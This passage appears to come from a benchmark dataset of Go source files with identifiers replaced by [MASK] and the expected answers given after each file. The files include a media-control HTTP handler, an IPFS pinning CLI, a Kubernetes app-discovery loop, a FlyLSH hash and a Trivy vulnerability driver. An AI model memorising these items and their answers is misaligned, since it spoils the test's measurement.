""error"", http.StatusInternalServerError) return } defer func(Body io.ReadCloser) { err := Body.Close() if err != nil { http.Error(w, ""error"", http.StatusInternalServerError) return } }(r.Body) err = json.Unmarshal(b, &volume) if err != nil { http.Error(w, ""error"", http.StatusInternalServerError) log.Println(""malformed json"") return } if volume.Direction == ""down"" { cmd := exec.Command(pactl, ""--"", setSinkVolume, ""0"", downStep) stdout, _ := cmd.Output() fmt.Println(""volume down: "", string(stdout)) } else if volume.Direction == ""up"" { cmd := exec.Command(pactl, ""--"", setSinkVolume, ""0"", upStep) stdout, _ := cmd.Output() fmt.Println(""volume up: "", string(stdout)) } fmt.Println(&volume) } type playCommand struct { Command string `json:""command""` } func playHandler(w http.ResponseWriter, r *http.Request) { var play playCommand b, err := io.ReadAll(r.Body) if err != nil { http.Error(w, ""error"", http.StatusInternalServerError) return } defer func(Body io.ReadCloser) { err := Body.Close() if err != nil { http.Error(w, ""error"", http.StatusInternalServerError) return } }(r.Body) err = json.Unmarshal(b, &play) if err != nil { http.Error(w, ""error"", http.StatusInternalServerError) return } if play.Command == ""play-pause"" { cmd := exec.Command(""playerctl"", ""play-pause"") stdout, _ := cmd.Output() fmt.Println(string(stdout)) } else if play.Command == ""next"" { cmd := exec.Command(""playerctl"", ""next"") stdout, _ := cmd.Output() fmt.Println(string(stdout)) } else if play.Command == ""previous"" { cmd := exec.Command(""playerctl"", ""previous"") stdout, _ := cmd.Output() fmt.Println(string(stdout)) } } ",staticFileServer 668,"// Copyright 2025 The Casibase Authors. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package agent import ( ""encoding/json"" ""github.com/ThinkInAIXYZ/go-mcp/protocol"" ) type McpAgentProvider struct { Typ string SubType string McpServers string McpTools []*McpTools } func NewMcpAgentProvider(typ string, subType string, mcpServers string, mcpTools []*McpTools) (*McpAgentProvider, error) { p := &McpAgentProvider{ Typ: typ, SubType: subType, McpServers: mcpServers, McpTools: mcpTools, } return p, nil } func (p *McpAgentProvider) GetAgentClients() (*AgentClients, error) { toolsMap := make(map[string]bool) for _, tool := range p.McpTools { toolsMap[tool.ServerName] = tool.IsEnabled } [MASK] , err := GetMCPClientMap(p.McpServers, toolsMap) if err != nil { return nil, err } var tools []*protocol.Tool for _, mcpTool := range p.McpTools { if !mcpTool.IsEnabled { continue } toolsStr := mcpTool.Tools var toolsList []*protocol.Tool if err := json.Unmarshal([]byte(toolsStr), &toolsList); err != nil { return nil, err } for _, tool := range toolsList { tool.Name = GetIdFromServerNameAndToolName(mcpTool.ServerName, tool.Name) } tools = append(tools, toolsList...) } return &AgentClients{ Clients: [MASK] , Tools: tools, }, nil } ",clients 669,"package main import ( ""context"" ""fmt"" ""log"" ""net/url"" ""os"" ""path"" ""strings"" ""time"" ""github.com/ipfs/go-cid"" pinclient ""github.com/ipfs/go-pinning-service-http-client"" ""github.com/ipld/go-car/v2"" ""github.com/ipld/go-car/v2/blockstore"" ""github.com/ipld/go-car/v2/index"" ""github.com/libp2p/go-libp2p"" ""github.com/libp2p/go-libp2p-core/event"" ""github.com/libp2p/go-libp2p-core/host"" ""github.com/libp2p/go-libp2p-core/peer"" routinghelpers ""github.com/libp2p/go-libp2p-routing-helpers"" ""github.com/multiformats/go-multiaddr"" manet ""github.com/multiformats/go-multiaddr/net"" ""github.com/multiformats/go-multicodec"" ""github.com/urfave/cli/v2"" // imports as package ""cli"" ""github.com/briandowns/spinner"" ""github.com/ipfs/go-bitswap"" bsnet ""github.com/ipfs/go-bitswap/network"" ) var ( servicesEndpoints = map[string]string{ ""web3.storage"": ""https://api.web3.storage"", ""nft.storage"": ""https://nft.storage/api"", ""pinata"": ""https://api.pinata.cloud/psa"", ""estuary"": ""https://api.estuary.tech/pinning"", } serviceFlag = &cli.StringFlag{ Name: ""service"", Usage: ""Pinning service to use, e.g. web3.storage, nft.storage, pinata, estuary, or pinning service url, e.g. https://api.pinata.cloud/psa"", Required: true, } tokenFlag = &cli.StringFlag{ Name: ""token"", Usage: ""Bearer token for the pinning service sent in the HTTP Authorization header. Can be set with an environment variable:"", Required: true, EnvVars: []string{""PIN_TOKEN""}, } passOrigins = &cli.BoolFlag{ Name: ""pass-origins"", Usage: ""Enable NAT port mapping with UPnP and NAT hole punching and passes the public address in the pin request's origins. Use when behind NAT with pinning services that don't return delegates"", } nameFlag = &cli.StringFlag{ Name: ""name"", Usage: ""Optional name for pinned data; can be used for lookups later"", Required: false, } ) func main() { // Spinner to visualise ongoing operation s := spinner.New(spinner.CharSets[14], 100*time.Millisecond) s.Color(""magenta"") app := &cli.App{ Name: ""auspinner"", Usage: `stateless CLI tool to pin CAR files to IPFS pinning services`, Commands: []*cli.Command{ { Name: ""list"", Aliases: []string{""ls""}, Usage: ""list pins"", Flags: []cli.Flag{ serviceFlag, tokenFlag, &cli.StringFlag{ Name: ""status"", Usage: ""filter based on pin status (if empty returns all), e.g. pinned, failed, pinning, queued"", Required: false, }, }, Action: func(c *cli.Context) error { endpoint, err := getServiceEndpoint(c.String(serviceFlag.Name)) if err != nil { return err } pinClient := pinclient.NewClient(endpoint, c.String(tokenFlag.Name)) // instantiate client with token s.Start() pins, err := listPins(c.Context, *pinClient, pinclient.Status(c.String(""status""))) s.Stop() if err != nil { return err } fmt.Println(""CID | Pin Request ID | Created | Status | Name"") for _, pin := range pins { p := pin.GetPin() fmt.Printf(""%s %s %s (%s) %s\n"", p.GetCid().String(), pin.GetRequestId(), pin.GetCreated().Format(time.RFC822), pin.GetStatus(), p.GetName()) } if err != nil { return err } return nil }, }, { Name: ""remove"", Aliases: []string{""rm""}, Usage: `remove a pin request`, // auspinner remove --service [SERVICE] --token [TOKEN] [PIN_REQUEST_ID] Flags: []cli.Flag{ serviceFlag, tokenFlag, }, Action: func(c *cli.Context) error { endpoint, err := getServiceEndpoint(c.String(serviceFlag.Name)) if err != nil { return err } var pinID string if pinID = c.Args().First(); pinID == """" { return fmt.Errorf(""pin request ID is required"") } pinClient := pinclient.NewClient(endpoint, c.String(tokenFlag.Name)) // instantiate client with token s.Start() err = pinClient.DeleteByID(c.Context, pinID) s.Stop() if err != nil { return err } fmt.Printf(""Deleted Pin Request ID: %s\n"", pinID) return nil }, }, { Name: ""pin"", Usage: `pin a car file to a pinning service by pinning the root CID and serving the CIDs over Bitswap to the delegate returned from the pinning service auspinner pin --service web3.storage --token [TOKEN] file.car `, Flags: []cli.Flag{ serviceFlag, tokenFlag, nameFlag, passOrigins, }, Action: func(c *cli.Context) error { endpoint, err := getServiceEndpoint(c.String(serviceFlag.Name)) if err != nil { return err } var carFilePath string if carFilePath = c.Args().First(); carFilePath == """" { return fmt.Errorf("".car file is required"") } f, err := os.Open(carFilePath) if err != nil { return err } defer f.Close() r, err := car.NewReader(f) if err != nil { return err } roots, err := r.Roots() if err != nil { return err } if len(roots) > 1 { return fmt.Errorf("".car files with only one root CID are supported"") } pinClient := pinclient.NewClient(endpoint, c.String(tokenFlag.Name)) // instantiate client with token config := []libp2p.Option{} if c.Bool(passOrigins.Name) { // To pass the origins we typically need to port map assuming we're behind NAT // enable port mapping so that our host can be connected by passing our address as origins config = append(config, libp2p.NATPortMap(), libp2p.EnableHolePunching()) } // Create libp2p host host, err := libp2p.New(config...) if err != nil { return err } bsopts := []bitswap.Option{ bitswap.EngineBlockstoreWorkerCount(600), bitswap.TaskWorkerCount(600), bitswap.MaxOutstandingBytesPerPeer(int(5 << 20)), } robs, err := getCarBlockstore(r) if err != nil { return err } // Create a Bitswap server. bswap := bitswap.New(c.Context, // Make a new Bitswap server (actually it's both a client and a server, but for now you only care about the server aspect) bsnet.NewFromIpfsHost( // There's some abstraction layer here and bad naming, but basically it's asking for pieces it need host, // libp2p host used for communicating with others &routinghelpers.Null{}, // a routing system for finding content for the client (also it does this wacky thing where it advertises new blocks it learns about ...) ), robs, // this is the blockstore from the car file we're serving over bitswap bsopts..., // some configuration options and tuning ) _ = bswap var pinRequest pinclient.PinStatusGetter if c.Bool(passOrigins.Name) { subs, err := host.EventBus().Subscribe(new(event.EvtLocalAddressesUpdated)) if err != nil { return err } fmt.Println(""Waiting to get public multiaddress from UPnP port mapping"") addrLoop: for { select { // Wait for the public IP after mapping the port case <-subs.Out(): origins, err := getPublicAddr(host) if err != nil { return err } if len(origins) > 0 { pinRequest, err = addPin(c.Context, *pinClient, roots[0], c.String(nameFlag.Name), origins) if err != nil { return err } break addrLoop } case <-time.After(1 * time.Minute): return fmt.Errorf(""couldn't make auspinner publicly reachable for passing in origins. Try enabling UPnP in your router"") } } } else { origins, err := getPublicAddr(host) if err != nil { return err } pinRequest, err = addPin(c.Context, *pinClient, roots[0], c.String(nameFlag.Name), origins) if err != nil { return err } // If there are no delegates, we need to wait for the port mapping to happen and update the pin request with the origins // Otherwise there's no way for the pinning service to fetch the CID if we're the only provider on the network if len(pinRequest.GetDelegates()) == 0 { return fmt.Errorf(""no delegates were returned. Try again with the --pass-origins flag"") } } // Connect to the delegates returned from the pinning service for _, d := range pinRequest.GetDelegates() { p, err := peer.AddrInfoFromP2pAddr(d) if err != nil { return err } fmt.Printf(""Connecting local Bitswap host to delegate: (%s)\n"", p.String()) if err := host.Connect(c.Context, *p); err != nil { log.Fatalf(""error connecting to remote pin delegate %v : %v"", d, err) } } fmt.Println(""Waiting for the blocks to be transferred..."") s.Start() // Track status of pin requests for range time.Tick(5 * time.Second) { current, err := pinClient.GetStatusByID(c.Context, pinRequest.GetRequestId()) if err != nil { fmt.Println(""failed getting pin request status"") continue } if pinRequest.GetStatus() != current.GetStatus() { s.Stop() fmt.Printf(""Pin requestId: %s status change: (%s) -> (%s) | (%s)\n"", current.GetRequestId(), pinRequest.GetStatus(), current.GetStatus(), time.Now().Format(time.RFC822)) pinRequest = current } if current.GetStatus() == ""pinned"" { s.Stop() fmt.Printf(""Pin requestId: %s successfully pinned CID: %s! 🎉\n"", current.GetRequestId(), current.GetPin().GetCid()) break } if current.GetStatus() == ""failed"" { fmt.Printf(""Pin requestId: %s failed to pin CID: 😭\n"", current.GetRequestId()) s.Stop() break } } return nil }, }, }, } err := app.Run(os.Args) if err != nil { log.Fatal(err) } } func getCarBlockstore(r *car.Reader) (*blockstore.ReadOnly, error) { var idx index.Index backingReader := r.DataReader() if r.Version == 1 || !r.Header.HasIndex() { idx, err := index.New(multicodec.CarMultihashIndexSorted) if err != nil { return nil, err } // TODO: Read more about how LoadIndex works for car files without an index if err := car.LoadIndex(idx, r.DataReader()); err != nil { return nil, err } // TODO: Save newly created index somewhere } else { i, err := index.ReadFrom(r.IndexReader()) if err != nil { return nil, err } if i.Codec() != multicodec.CarMultihashIndexSorted { return nil, fmt.Errorf(""codec %s not supported for CAR files"", i.Codec()) } idx = i } return blockstore.NewReadOnly(backingReader, idx) } func addPin(ctx context.Context, client pinclient.Client, cid cid.Cid, name string, origins []multiaddr.Multiaddr) (pinclient.PinStatusGetter, error) { opts := []pinclient.AddOption{ pinclient.PinOpts.WithName(name), // Pass the name } if origins != nil { opts = append(opts, pinclient.PinOpts.WithOrigins(origins...)) // Pass our address so that the pinning service can fetch the } pinRequest, err := client.Add(ctx, cid, opts...) if err != nil { return nil, err } fmt.Printf(""Created pin request: %s for root CID %s | status: %s | name: %s | origins: %v \n"", pinRequest.GetRequestId(), cid, pinRequest.GetStatus(), name, origins) return pinRequest, nil } func updatePinRequestOrigins(ctx context.Context, client pinclient.Client, pin pinclient.PinStatusGetter, origins []multiaddr.Multiaddr) (pinclient.PinStatusGetter, error) { opts := []pinclient.AddOption{ pinclient.PinOpts.WithName(pin.GetPin().GetName()), // Pass the name pinclient.PinOpts.WithOrigins(origins...), // Pass our address so that the pinning service can fetch the } updatedPinRequest, err := client.Replace(ctx, pin.GetRequestId(), pin.GetPin().GetCid(), opts...) if err != nil { return nil, err } fmt.Printf(""Updated pin request: %s %s | status: %s\n"", updatedPinRequest.GetRequestId(), time.Now().Format(time.RFC822), updatedPinRequest.GetStatus()) fmt.Printf(""Original pin request: %s | New pin request: %s\n"", pin.GetRequestId(), updatedPinRequest.GetRequestId()) return updatedPinRequest, nil } // func connectToDelegates(ctx context.Context, h host.Host, delegates []string) error { // peers := make(map[peer.ID][]multiaddr.Multiaddr) // for _, d := range delegates { // ai, err := peer.AddrInfoFromString(d) // if err != nil { // return err // } // peers[ai.ID] = append(peers[ai.ID], ai.Addrs...) // } // for p, addrs := range peers { // h.Peerstore().AddAddrs(p, addrs, time.Hour) // if h.Network().Connectedness(p) != network.Connected { // if err := h.Connect(ctx, peer.AddrInfo{ // ID: p, // }); err != nil { // return err // } // h.ConnManager().Protect(p, ""pinning"") // } // } // return nil // } // `svc` can be either a valid key service from servicesEndpoints or a url func getServiceEndpoint(service string) (string, error) { if endpoint, ok := servicesEndpoints[service]; ok { return endpoint, nil } endpoint, err := normalizeEndpoint(service) if err != nil { return """", err } return endpoint, nil } func listPins(ctx context.Context, c pinclient.Client, status pinclient.Status) ([]pinclient.PinStatusGetter, error) { var opts pinclient.LsOption if status == """" { // If status is empty, list all statuses opts = pinclient.PinOpts.FilterStatus(pinclient.StatusPinned, pinclient.StatusPinning, pinclient.StatusFailed, pinclient.StatusQueued) } else { s := pinclient.Status(status) if s.String() == string(pinclient.StatusUnknown) { return nil, fmt.Errorf(""status %s is not valid"", status) } opts = pinclient.PinOpts.FilterStatus(status) } return c.LsSync(ctx, opts) } func normalizeEndpoint(endpoint string) (string, error) { uri, err := url.ParseRequestURI(endpoint) if err != nil || !(uri.Scheme == ""http"" || uri.Scheme == ""https"") { return """", fmt.Errorf(""service endpoint must be a valid HTTP URL"") } // cleanup trailing and duplicate slashes (https://github.com/ipfs/go-ipfs/issues/7826) uri.Path = path.Clean(uri.Path) uri.Path = strings.TrimSuffix(uri.Path, ""."") uri.Path = strings.TrimSuffix(uri.Path, ""/"") // remove any query params if uri.RawQuery != """" { return """", fmt.Errorf(""service endpoint should be provided without any query parameters"") } if strings.HasSuffix(uri.Path, ""/pins"") { return """", fmt.Errorf(""service endpoint should be provided without the /pins suffix"") } return uri.String(), nil } // Get public multi addresses of a host func getPublicAddr(host host.Host) ([]multiaddr.Multiaddr, error) { addr := peer.AddrInfo{ ID: host.ID(), Addrs: host.Addrs(), } // All multi addresses including private [MASK] , err := peer.AddrInfoToP2pAddrs(&addr) if err != nil { return nil, err } var origins []multiaddr.Multiaddr for _, m := range [MASK] { // Check if I have public addresse if manet.IsPublicAddr(m) { origins = append(origins, m) } } return origins, nil } ",maddr 670,"/* Copyright 2019 Google Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""bufio"" ""fmt"" ""io/ioutil"" ""log"" ""os"" ""path"" ""path/filepath"" ""regexp"" ""strings"" ""time"" broker ""selkies.io/controller/pkg"" ) func main() { log.Printf(""Starting broker app discovery service"") // Set from downward API. namespace := os.Getenv(""NAMESPACE"") if len(namespace) == 0 { log.Fatal(""Missing NAMESPACE env."") } // Allow for single run singleIteration := false if os.Getenv(""SINGLE_ITERATION"") == ""true"" { singleIteration = true } // Values available to templates from environment variables prefixed with POD_BROKER_PARAM_Name=Value // Map of Name=Value sysParams := broker.GetEnvPrefixedVars(""POD_BROKER_PARAM_"") // BrokerAppConfig metadata filter passed to frontend. var metadataFilterPattern *regexp.Regexp metadataFilterPatternParam, ok := sysParams[""MetadataFilterPattern""] if ok { metadataFilterPattern = regexp.MustCompile(metadataFilterPatternParam) } // If provided via pod broker params config, will add this list of CIDR ranges to all NetworkPolicy templates. // CIDRs are provided via a comma-separated list of ranges. addEgressCIDRs := make([]string, 0) if param, ok := sysParams[""AddEgressCIDRs""]; ok { addEgressCIDRs = strings.Split(param, "","") } // If provided via pod broker params config, will add IPs queried from the SRV records to all NetworkPolicy templates. // SRV records are comma-separated list of items in the form of: '::' addEgressSRVRecords := make([]string, 0) if param, ok := sysParams[""AddEgressSRVRecords""]; ok { addEgressSRVRecords = strings.Split(param, "","") } // Map of cached app manifest checksums [MASK] := make(map[string]string, 0) userBundleManifestChecksums := make(map[string]string, 0) for { // Fetch all broker apps appConfigs, err := broker.FetchBrokerAppConfigs(namespace) if err != nil { log.Printf(""failed to fetch broker app configs: %v"", err) time.Sleep(2 * time.Second) continue } // List of app specs that will be added to the registered app manifest. registeredApps := broker.NewRegisteredAppManifest() // Fetch all configmaps in single call nsConfigMaps, err := broker.GetConfigMaps(namespace) if err != nil { log.Printf(""failed to fetch broker appconfig map bundles: %v"", err) time.Sleep(2 * time.Second) continue } // Fetch data required for Egress Network Policy networkPolicyData, err := broker.GetEgressNetworkPolicyData(addEgressCIDRs, addEgressSRVRecords) if err != nil { log.Printf(""failed to fetch networkpolicy data: %v"", err) time.Sleep(2 * time.Second) continue } registeredApps.NetworkPolicyData = networkPolicyData // Base dir for temp directory where updated files are staged. tmpDirBase := path.Dir(broker.BundleSourceBaseDir) for _, appConfig := range appConfigs { bundleCMName := appConfig.Spec.Bundle.ConfigMapRef.Name authzCMName := appConfig.Spec.Authorization.ConfigMapRef.Name appName := appConfig.Metadata.Name bundleDestDir := path.Join(broker.BundleSourceBaseDir, appName) userBundleDestDir := path.Join(broker.UserBundleSourceBaseDir, appName) foundUserBundleCount := 0 // Find and save configmap data for required bundle and optional authz foundBundle := false foundAllUserBundles := false foundAuthzCM := false for _, cm := range nsConfigMaps { // Match on bundle configmap name if cm.Metadata.Name == bundleCMName { // Update working mainfests if bundle has changed. cacheKey := fmt.Sprintf(""%s-%s"", appName, cm.Metadata.Name) if err := copyConfigMapDataIfChanged(cm, tmpDirBase, bundleDestDir, cacheKey, [MASK] ); err != nil { log.Printf(""%v"", err) } else { foundBundle = true } } // Match on a user bundle configmap name for i, userBundle := range appConfig.Spec.UserBundles { userBundleCMName := userBundle.ConfigMapRef.Name // Match on user bundle configmap name if cm.Metadata.Name == userBundleCMName { destDir := path.Join(userBundleDestDir, fmt.Sprintf(""%d"", i)) cacheKey := fmt.Sprintf(""%s-%s"", appName, cm.Metadata.Name) if err := copyConfigMapDataIfChanged(cm, tmpDirBase, destDir, cacheKey, userBundleManifestChecksums); err != nil { log.Printf(""%v"", err) } else { foundUserBundleCount++ } } } // Match on authz configmap name if cm.Metadata.Name == authzCMName { foundAuthzCM = true if appConfig.Spec.AuthorizedUsers == nil { appConfig.Spec.AuthorizedUsers = make([]string, 0) } // Extract authorization members and append them to the appConfig.Spec.AuthorizedUsers array. for _, data := range cm.Data { scanner := bufio.NewScanner(strings.NewReader(data)) for scanner.Scan() { userPat := strings.TrimSpace(scanner.Text()) // Skip comment and empty lines. if len(userPat) > 0 && !strings.HasPrefix(userPat, ""#"") { _, err := regexp.Compile(userPat) if err != nil { log.Printf(""WARN: invalid authorized user pattern found in ConfigMap %s: '%s', skipped."", authzCMName, userPat) } else { appConfig.Spec.AuthorizedUsers = append(appConfig.Spec.AuthorizedUsers, userPat) } } } } } } // Add the metadata appConfig.Spec.Metadata = getFilteredMetadataFromObject(appConfig, metadataFilterPattern) if foundUserBundleCount == len(appConfig.Spec.UserBundles) { foundAllUserBundles = true } if !foundBundle { log.Printf(""Bundle manifests ConfigMap %s not found for app %s"", bundleCMName, appName) } else if len(appConfig.Spec.UserBundles) > 0 && !foundAllUserBundles { log.Printf(""Failed to find all spec.userBundles for app %s"", appName) } else { if len(authzCMName) > 0 && !foundAuthzCM { log.Printf(""Failed to find authorization ConfigMap bundle %s for app %s"", authzCMName, appName) } // App is valid and bundle is ready, add to registered apps. if !appConfig.Spec.Disabled { registeredApps.Add(appConfig.Spec) } } } // Prune build source directories foundDirs, err := filepath.Glob(path.Join(broker.BundleSourceBaseDir, ""*"")) if err != nil { log.Printf(""failed to list app directories to prune: %v"", err) } for _, dirName := range foundDirs { found := false for _, appConfig := range appConfigs { if appConfig.Metadata.Name == path.Base(dirName) { found = true break } } if !found { log.Printf(""removing build source: %s"", dirName) os.RemoveAll(dirName) } } // Write registered app manifest if err := registeredApps.WriteJSON(broker.RegisteredAppsManifestJSONFile); err != nil { log.Printf(""failed to write registered app manifest: %s: %v"", broker.RegisteredAppsManifestJSONFile, err) } if singleIteration { break } time.Sleep(5 * time.Second) } } // Helper function to get filtered appconfig annotation metadata fields. // Metadata on the app spec takes precedence func getFilteredMetadataFromObject(obj broker.AppConfigObject, filterPattern *regexp.Regexp) map[string]string { resp := make(map[string]string, 0) appMetadata := obj.Spec.Metadata objMetadata := obj.Metadata.Annotations if filterPattern != nil { for k, v := range objMetadata { if filterPattern.MatchString(k) { resp[k] = v } } } for k, v := range appMetadata { resp[k] = v } return resp } // Helper function to only update the working manifest if the configmap content has changed. func copyConfigMapDataIfChanged(cm broker.ConfigMapObject, tmpDirBase, destDir, cacheKey string, checksums map[string]string) error { tmpDir, err := ioutil.TempDir(tmpDirBase, ""bundle"") if err != nil { return fmt.Errorf(""failed to create staging dir at base: %s: %v"", tmpDirBase, err) } defer os.RemoveAll(tmpDir) if err := cm.SaveDataToDirectory(tmpDir); err != nil { return fmt.Errorf(""failed to save bundle ConfigMap '%s' to %s: %v"", cm.Metadata.Name, tmpDir, err) } // Compute and cache checksum to know if we need to update the working mainfests. prevChecksum := checksums[cacheKey] if checksums[cacheKey], err = broker.ChecksumDeploy(tmpDir); err != nil { return fmt.Errorf(""failed to checksum build output directory: %v"", err) } // Check if working manifests folder exist, if folder does not exist invalidate prevChecksum value if prevChecksum != """" { if _, err := os.Stat(destDir); os.IsNotExist(err) { log.Printf(""working manifests folder %s does not exist"", destDir) prevChecksum = """" } } if prevChecksum != checksums[cacheKey] { log.Printf(""%s manifest checksum: %s"", cacheKey, checksums[cacheKey]) if err := os.MkdirAll(path.Dir(destDir), os.ModePerm); err != nil { return err } os.RemoveAll(destDir) if err := os.Rename(tmpDir, destDir); err != nil { return fmt.Errorf(""failed to move manifest bundle ConfigMap data to %s: %v"", destDir, err) } } return nil } ",bundleManifestChecksums 671,"package flylsh import ( ""math"" ""math/bits"" ""math/rand"" ) const ( sizeOfByte = 8 defaultNGrams = 4 ) var DefaultFlyLSH = New(defaultNGrams, int(defaultNGrams*sizeOfByte), int(10*defaultNGrams*sizeOfByte), 1234567890, 0.1, 0.05) type FlyLSH struct { nGrams uint nORNs int nKCs int nORNSamples int ORNs []float64 PNs []float64 M [][]byte KCs []float64 nForAPL int } func New(nGrams, nORNs, nKCs int, MSeed int64, randProjectPercent, [MASK] float64) (h *FlyLSH) { h = &FlyLSH{ nGrams: uint(nGrams), nORNs: nORNs, nKCs: nKCs, //ORNs: make([]float64, nORNs), PNs: make([]float64, nORNs), M: make([][]byte, nKCs), KCs: make([]float64, nKCs), nForAPL: int(math.Ceil(float64(nKCs) * [MASK] )), } // Random seed for generate random project matrix rand.Seed(MSeed) // Sample number of ORNs pre Kenyon cell h.nORNSamples = int(math.Ceil(randProjectPercent * float64(nORNs))) // Mark connection between ORN and KC in matrix for j := range h.M { h.M[j] = make([]byte, nORNs/sizeOfByte+1) // random sample ORNs for each KC for m := 0; m < h.nORNSamples; m++ { i := uint(rand.Intn(nORNs)) h.M[j][i/sizeOfByte] |= 1 << (i & (sizeOfByte - 1)) } } return } func Sum(s []byte) []byte { return DefaultFlyLSH.Sum(s) } func Compare(b0, b1 []byte) (d int) { return DefaultFlyLSH.Compare(b0, b1) } func (h *FlyLSH) Sum(s []byte) []byte { defer h.clear() vector := h.getVector(s) if len(vector) != h.nORNs { panic(""vector length must equal length of ORNs"") } h.ORNs = vector h.zeroCenterORNs() h.randomProject() h.aplWTA() return h.aplIndices() } func (h *FlyLSH) Compare(b0, b1 []byte) (d int) { for i := range b0 { b := b0[i] ^ b1[i] d += bits.OnesCount8(b) } return } func (h *FlyLSH) Reset() { for j := range h.M { for i := range h.M[j] { h.M[j][i] = 0 } h.KCs[j] = 0 } } func (h *FlyLSH) getVector(s []byte) (v []float64) { v = make([]float64, h.nGrams*sizeOfByte) for i := uint(0); i < uint(len(s))-h.nGrams+1; i++ { for k := uint(0); k < h.nGrams; k++ { for j := uint(0); j < sizeOfByte; j++ { if s[i+k]&(1< 0 { v[sizeOfByte*k+j]++ } } } } return } func (h *FlyLSH) zeroCenterORNs() { var mean float64 for _, v := range h.ORNs { mean += v } mean /= float64(len(h.ORNs)) for i := range h.PNs { h.PNs[i] = h.ORNs[i] - mean } //log.Info(h.PNs) } func (h *FlyLSH) randomProject() { for j := range h.M { for i := 0; i < h.nORNs; i++ { if h.M[j][i/sizeOfByte]&(1<<(uint(i)&(sizeOfByte-1))) > 0 { h.KCs[j] += h.PNs[i] } } h.KCs[j] /= float64(h.nORNSamples) //log.Println(h.KCs[j]) } } func (h *FlyLSH) aplWTA() { heap := make([]float64, h.nForAPL) for _, v := range h.KCs { if v > heap[0] { heap[0] = v for k := 0; k < h.nForAPL/2; { if heap[k] > heap[2*k] || heap[k] > heap[2*k+1] { if heap[2*k] < heap[2*k+1] { heap[2*k], heap[k] = heap[k], heap[2*k] k = 2 * k } else { heap[2*k+1], heap[k] = heap[k], heap[2*k+1] k = 2*k + 1 } } else { break } } } } for i, v := range h.KCs { if v < heap[0] { h.KCs[i] = 0 } } //log.Info(heap, h.KCs) } func (h *FlyLSH) aplIndices() []byte { sum := make([]byte, len(h.KCs)/sizeOfByte) for j, v := range h.KCs { if v > 0 { sum[j/sizeOfByte] |= 1 << (uint(j) & (sizeOfByte - 1)) } } return sum } func (h *FlyLSH) clear() { for i := range h.PNs { h.PNs[i] = 0 } for j := range h.KCs { h.KCs[j] = 0 } } ",APLPercent 672,"package library import ( ""golang.org/x/xerrors"" ftypes ""github.com/aquasecurity/fanal/types"" ecosystem ""github.com/aquasecurity/trivy-db/pkg/vulnsrc/ghsa"" ""github.com/aquasecurity/trivy-db/pkg/vulnsrc/vulnerability"" ""github.com/aquasecurity/trivy/pkg/detector/library/bundler"" ""github.com/aquasecurity/trivy/pkg/detector/library/cargo"" ""github.com/aquasecurity/trivy/pkg/detector/library/comparer"" ""github.com/aquasecurity/trivy/pkg/detector/library/composer"" ""github.com/aquasecurity/trivy/pkg/detector/library/ghsa"" ""github.com/aquasecurity/trivy/pkg/detector/library/maven"" ""github.com/aquasecurity/trivy/pkg/detector/library/npm"" ""github.com/aquasecurity/trivy/pkg/detector/library/python"" ""github.com/aquasecurity/trivy/pkg/types"" ) type advisory interface { DetectVulnerabilities(string, string) ([]types.DetectedVulnerability, error) } // NewDriver returns a driver according to the library type func NewDriver(libType string) (Driver, error) { var driver Driver switch libType { case ftypes.Bundler, ftypes.GemSpec: driver = newRubyGemsDriver() case ftypes.Cargo: driver = newCargoDriver() case ftypes.Composer: driver = newComposerDriver() case ftypes.Npm, ftypes.Yarn, ftypes.NodePkg, ftypes.JavaScript: driver = newNpmDriver() case ftypes.Pipenv, ftypes.Poetry, ftypes.Pip, ftypes.PythonPkg: driver = newPipDriver() case ftypes.NuGet: driver = newNugetDriver() case ftypes.Jar: driver = newMavenDriver() case ftypes.GoBinary, ftypes.GoMod: driver = Driver{ ecosystem: vulnerability.Go, advisories: []advisory{NewAdvisory(vulnerability.Go, comparer.GenericComparer{})}, } default: return Driver{}, xerrors.Errorf(""unsupported type %s"", libType) } return driver, nil } // Driver implements the advisory type Driver struct { ecosystem string advisories []advisory } // Aggregate aggregates drivers func Aggregate(ecosystem string, advisories ...advisory) Driver { return Driver{ecosystem: ecosystem, advisories: advisories} } // Detect scans and returns vulnerabilities func (d *Driver) Detect(pkgName string, pkgVer string) ([]types.DetectedVulnerability, error) { var detectedVulnerabilities []types.DetectedVulnerability [MASK] := make(map[string]struct{}) for _, adv := range d.advisories { vulns, err := adv.DetectVulnerabilities(pkgName, pkgVer) if err != nil { return nil, xerrors.Errorf(""failed to detect vulnerabilities: %w"", err) } for _, vuln := range vulns { if _, ok := [MASK] [vuln.VulnerabilityID]; ok { continue } [MASK] [vuln.VulnerabilityID] = struct{}{} detectedVulnerabilities = append(detectedVulnerabilities, vuln) } } return detectedVulnerabilities, nil } // Type returns the driver ecosystem func (d *Driver) Type() string { return d.ecosystem } func newRubyGemsDriver() Driver { c := bundler.RubyGemsComparer{} return Aggregate(vulnerability.RubyGems, NewAdvisory(vulnerability.RubyGems, c), bundler.NewAdvisory(), ghsa.NewAdvisory(ecosystem.Rubygems, c)) } func newComposerDriver() Driver { c := comparer.GenericComparer{} return Aggregate(vulnerability.Composer, NewAdvisory(vulnerability.Composer, c), composer.NewAdvisory(), ghsa.NewAdvisory(ecosystem.Composer, c)) } func newCargoDriver() Driver { return Aggregate(vulnerability.Cargo, NewAdvisory(vulnerability.Cargo, comparer.GenericComparer{}), cargo.NewAdvisory()) } func newNpmDriver() Driver { c := npm.Comparer{} return Aggregate(vulnerability.Npm, NewAdvisory(vulnerability.Npm, c), npm.NewAdvisory(), ghsa.NewAdvisory(ecosystem.Npm, c)) } func newPipDriver() Driver { c := comparer.GenericComparer{} return Aggregate(vulnerability.Pip, NewAdvisory(vulnerability.Pip, c), python.NewAdvisory(), ghsa.NewAdvisory(ecosystem.Pip, c)) } func newNugetDriver() Driver { c := comparer.GenericComparer{} return Aggregate(vulnerability.NuGet, NewAdvisory(vulnerability.NuGet, c), ghsa.NewAdvisory(ecosystem.Nuget, c)) } func 